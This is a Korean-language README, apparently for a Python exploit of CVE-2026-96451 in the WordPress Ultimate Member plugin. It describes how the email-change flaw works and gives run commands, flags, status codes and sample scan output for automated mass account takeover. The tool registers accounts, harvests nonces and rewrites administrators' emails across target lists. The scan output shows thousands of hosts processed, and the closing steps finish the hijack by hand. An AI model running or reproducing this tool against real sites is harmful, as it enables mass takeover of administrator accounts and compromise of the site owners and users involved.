
WordPress Ultimate Member <= 2.13.1의 CVE-2026-96451에 대한 Python 익스플로잇: 대상 목록 전반에 걸쳐 회원가입, nonce 수집, 이메일 변경을 통한 계정 탈취를 자동화합니다.
WordPress Ultimate Member 플러그인 <= 2.13.1 - 권한 상승 취약점
Ultimate Member <= 2.13.1 — 권한 상승 / 계정 탈취
📌 공식 기록: CVE-2026-96451
CVE.org에서:
Ultimate Member의 Ultimate Member ultimate-member에서 사용자 제어 키를 통한 인가 우회 취약점으로 인해 권한 상승이 가능합니다. 이 문제는 Ultimate Member: n/a부터 2.13.1까지 영향을 미칩니다.
| 필드 | 값 |
|---|---|
| 🆔 CVE | CVE-2026-96451 |
| 🏷️ CWE | CWE-639 — 사용자 제어 키를 통한 인가 우회 |
| 📊 CVSS 3.1 | 8.8 HIGH AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 🏢 할당자 | Patchstack |
| ⚠️ 영향 받음 | Ultimate Member 2.13.1까지 |
| ✅ 수정됨 | 2.14.0 |
로그인한 구독자는 다른 사용자(보통 관리자)의 이메일을 변경할 수 있습니다. 그러면 WordPress는 해당 새 메일함으로의 비밀번호 재설정을 허용합니다.
um_fetch_user($user_id)를 호출하고 전역 사용자를 URL의 ID로 전환합니다.download_routing()은 um_reset_user() 없이 반환합니다._um_account=1, user_email=...)도 함께 전달됩니다.account_submit()은 um_user('ID')를 읽습니다 — 이제 피해자입니다 — 그리고 새 이메일을 기록합니다.다운로드 nonce는 wp_create_nonce($user_id . $form_id . 'um-download-nonce')입니다. 이는 해당 사용자 ID에 묶여 있습니다. 임의로 만들어낼 수 없습니다. 스크립트는 표시되는 /um-download/{form}/{field}/{user}/{nonce}/ 링크에서 이를 복사합니다.
사용자 정의 파일 또는 이미지 필드가 프로필에 표시되어야 합니다. 기본 제공 프로필/커버 사진은 이 링크를 생성하지 않습니다.
pip install requests rich
회원가입, 로그인, nonce 수집, 익스플로잇, 재설정 확인은 자동으로 이루어집니다. 계정을 수동으로 생성할 필요가 없으며, 대량 스캔을 위해 구독자 비밀번호를 전달할 필요도 없습니다.
python CVE-2026-96451.py -l targets.txt -t 80 --email "[email protected]" -o um_takeover.txt
이 명령이 각 호스트에서 수행하는 작업:
/account/ 열기/um-download/ nonce 찾기 (사용자 ID 1을 우선시하고, 그다음 파일이 있는 임의의 멤버)--email로 설정wp-login.php?action=lostpassword 프로브 (WordPress는 여기서 nonce가 필요하지 않음)um_takeover.txt에 기록--email은 재설정을 받을 수 있도록 대상 계정에 설정되는 메일함입니다. 스크립트는 받은편지함을 열거나 새 비밀번호를 설정하지 않습니다. 마지막 단계는 수동입니다.
python CVE-2026-96451.py -u "https://example.com" --email "[email protected]"
| 플래그 | 용도 | 기본값 |
|---|---|---|
-l / --list | 대상 목록 파일 | — |
-u / --url | 단일 대상 | — |
-t / --threads | 워커 수 | 10 |
-o / --output | 결과 파일 | um_takeover.txt |
--email | 피해자에게 기록될 메일박스 | 자동 생성 |
--target-id | 선호하는 사용자 ID | 1 |
--user / --password | 등록 대신 기존 구독자 사용 | 꺼짐 |
-v / --verbose | 모든 단계 출력 | 꺼짐 |
느린 RDP 환경에서는 80–150개의 스레드면 충분합니다. 목록 스캔은 각 호스트에 약 22초를 할당합니다.
[5400/11965] RST:0 CHG:0 UM:4463 REG:589 rf:3874 lf:0 na:141 nd:448 nc:0 no:937
| 코드 | 의미 |
|---|---|
RST / CHG | 이메일 변경 및/또는 재설정 수락됨 — 받은편지함 확인 |
UM | Ultimate Member 감지됨 |
REG | 자동 등록으로 세션 생성됨 |
rf | 공개 폼, CAPTCHA, 승인 또는 이메일 활성화 없음 |
lf | 등록되었으나 로그인 실패 |
na | 계정 페이지 / nonce 누락 |
nd | 표시되는 다운로드 nonce 없음 (사용자 정의 파일 필드 없음) |
nc | 익스플로잇 전송됨, 변경 확인되지 않음 |
no | Ultimate Member 아님 |
많은 호스트에서 REG_FAIL은 정상입니다. 체인은 등록이 세션을 생성하고 동시에 다운로드 링크가 표시되는 경우에만 계속됩니다.
RST 또는 CHG가 나타나면:
--email로 전달한 메일함 열기/wp-login.php 또는 /wp-admin/에서 로그인이 프로젝트는 승인된 보안 연구 전용입니다 — 소유한 시스템 또는 서면 허가를 받은 테스트 대상에만 사용하십시오.
컴퓨터 시스템에 대한 무단 접근은 불법입니다. 작성자는 오용, 손해 또는 이 소프트웨어의 어떠한 결과에 대해서도 책임을 지지 않습니다. 사용 방식과 스캔하는 모든 대상에 대한 책임은 전적으로 사용자에게 있습니다.
By: Nxploited ( Khaled Alenazi )